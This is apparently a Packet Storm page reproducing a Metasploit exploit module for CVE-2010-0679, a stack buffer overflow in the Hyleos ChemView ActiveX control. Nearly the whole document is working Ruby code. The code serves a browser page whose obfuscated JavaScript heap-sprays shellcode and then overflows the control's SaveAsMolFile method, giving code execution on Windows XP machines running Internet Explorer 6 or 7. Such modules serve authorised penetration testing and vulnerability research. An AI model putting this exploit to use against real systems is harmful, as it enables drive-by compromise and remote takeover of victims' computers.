Hyleos ChemView ActiveX Control Stack Buffer Overflow

2010-07-2700:00:00
Paul Craig
packetstormsecurity.com
0.76 High
EPSS
Percentile
98.2%
JSON
`##  
# $Id: hyleos_chemviewx_activex.rb 9935 2010-07-27 02:25:15Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking # heap spray :-/  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Hyleos ChemView ActiveX Control Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos  
ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods  
with an overly long first argument, an attacker can overrun a buffer and execute  
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Paul Craig <paul.craig[at]security-assessment.com>', # original discovery/advisory  
'Dz_attacker <dz_attacker[at]hotmail.fr>', # original file format module  
'jduck' # converted HttpServer module  
],  
'Version' => '$Revision: 9935 $',  
'References' =>  
[  
[ 'CVE', '2010-0679' ],  
[ 'OSVDB', '62276' ],  
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/11422/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]  
],  
'DisclosureDate' => 'Feb 10 2010',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
clsid = "C372350A-1D5A-44DC-A759-767FC553D96C"  
progid = "HyleosChemView.HLChemView"  
  
methods = [ "ReadMolFile", "SaveAsMolFile" ]  
method = methods[rand(methods.length)]  
method = "SaveAsMolFile"  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# It may be possible to create a more robust exploit, however --  
# 1. The control's base address has been shown to vary (seen at 0x1c90000 and 0x1d90000)  
# 2. The buffer overflow does not appear to be entirely straight forward.  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 300  
offset = target['Offset']  
  
# Randomize the javascript variable names  
chemview = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
  
content = %Q|<html>  
<object classid='clsid:#{clsid}' id='#{chemview}'></object>  
<script>  
#{j_shellcode}=unescape('#{shellcode}');  
#{j_nops}=unescape('#{nops}');  
#{j_headersize}=20;  
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;  
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};  
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});  
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});  
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};  
#{j_memory}=new Array();  
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};  
  
var #{j_ret}='';  
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');  
#{chemview}.#{method}(#{j_ret});  
</script>  
</html>|  
  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.76 High
EPSS
Percentile
98.2%
JSON
Related for PACKETSTORM:92197